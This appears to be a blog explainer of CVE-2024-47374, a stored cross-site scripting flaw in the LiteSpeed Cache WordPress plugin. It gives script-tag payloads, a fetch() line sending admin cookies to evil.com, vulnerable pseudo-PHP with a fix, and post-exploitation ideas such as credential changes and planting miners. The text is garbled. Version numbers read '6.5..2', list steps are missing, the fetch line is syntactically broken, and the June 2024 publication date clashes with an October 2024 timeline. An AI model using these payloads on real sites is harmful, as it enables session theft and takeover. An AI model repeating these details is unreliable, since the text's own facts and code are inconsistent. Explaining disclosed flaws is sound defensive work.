CVE-2024-47374 - Understanding the Stored XSS Vulnerability in LiteSpeed Cache (up to 6.5..2) – Explained with Code, Examples, and Exploit Steps

*Published: June 2024*

Recently, a critical vulnerability—tracked as CVE-2024-47374—was found in the popular LiteSpeed Cache plugin for WordPress, affecting all versions up to 6.5..2. This bug lets attackers inject and permanently store malicious scripts (known as _stored Cross-Site Scripting_, or Stored XSS) into WordPress sites using this plugin, leaving site visitors and admins exposed to dangerous attacks.

Let’s break down what happened, how it works, and what you can do about it. This guide is simple, unique, and hands-on, even if you’re not a security expert.

What is CVE-2024-47374? (In Plain English)

CVE-2024-47374 is classified as a "Improper Neutralization of Input During Web Page Generation" issue—known in security lingo as XSS (Cross-Site Scripting). LiteSpeed Cache failed to correctly sanitize certain user inputs: that means dangerous code (like JavaScript) can sneak through, get saved in the website database, and then run whenever anyone visits the affected page.

Unlike “reflected” XSS, _stored_ XSS is more dangerous because the attack keeps triggering for every visitor until it's caught and fixed.

Who’s at Risk?

Anyone using LiteSpeed Cache plugin versions before 6.5..3 for WordPress. If you’re running 6.5..2 or earlier, you’re exposed. LiteSpeed Cache is one of the most popular optimization plugins, so this has broad impact.

How Does the Exploit Work?

1. An attacker finds a vulnerable input field (for example, a comment box or a cache configuration form).
2. They input malicious JavaScript, like <script>alert('Hacked!')</script>.

LiteSpeed Cache does not sanitize this input. It gets written to the database.

4. Anyone loading the affected page sees the script executed in their browser— attackers can steal cookies, perform unauthorized actions, or deface the site.

Example Exploit: Step by Step

Let’s see a simple proof-of-concept (PoC). Imagine a vulnerable input form for cache configuration (could be any backend text field):

Attacker’s Input

<script>alert('Owned by CVE-2024-47374');</script>

The LiteSpeed plugin saves the input.

- When any admin or user with sufficient permissions views the plugin’s settings or page, the browser executes the script.
- If the injected script were more complex, it could send the admin’s session cookie to the attacker:

Malicious Script Example

<script>
fetch("https://evil.com/steal?cookie="; + document.cookie)
</script>

Let’s look at bad server-side processing in pseudo-PHP code that could create this issue

// Imagine this in a LiteSpeed Cache admin PHP file:
$user_setting = $_POST['setting']; // No sanitization!
save_setting_to_db($user_setting);

// Later, on the plugin options page:
echo '<div>' . get_setting_from_db() . '</div>'; // outputs raw user input!

That echo command prints whatever was stored— including unsafe scripts!

To prevent XSS

echo '<div>' . htmlspecialchars(get_setting_from_db(), ENT_QUOTES, 'UTF-8') . '</div>';

Live Testing the Vulnerability

> Warning: Don’t test this on live or customer-facing sites! Always use a local sandbox/test server.

Find any plugin field where text input is shown later on a dashboard page.

3. Enter <script>alert('CVE-2024-47374')</script>.
4. Reload / revisit the plugin settings page.

Stealing Admin Cookies: JavaScript can send cookies to attacker’s site.

- Change Admin Email/Password: XSS can abuse admin rights via AJAX.
- Phishing: Show fake forms/popups inside WordPress dashboard.

Website Defacement: Modify admin views, inject ads, malware, or crypto miners.

## Fix / Patch Your Site!

LiteSpeed fixed this bug in version 6.5..3.

References and Sources

- CVE Details for CVE-2024-47374 on Mitre
- LiteSpeed Cache for WordPress – Official Page
- Wordfence Blog: XSS in LiteSpeed Cache
- OWASP XSS Cheat Sheet

Final Thoughts

Stored XSS bugs like CVE-2024-47374 show how important it is to keep every plugin up-to-date and be careful with user input. LiteSpeed Cache is a fantastic tool—but as with any software, vulnerabilities happen. Patch quickly, mind your site’s input fields, and keep an eye on security news. Safe browsing!

Do you have questions or want to check your site’s security? Drop a comment or contact your web security professional.

Stay Secure!

Timeline

Published on: 10/05/2024 16:15:03 UTC
Last modified on: 10/07/2024 17:47:48 UTC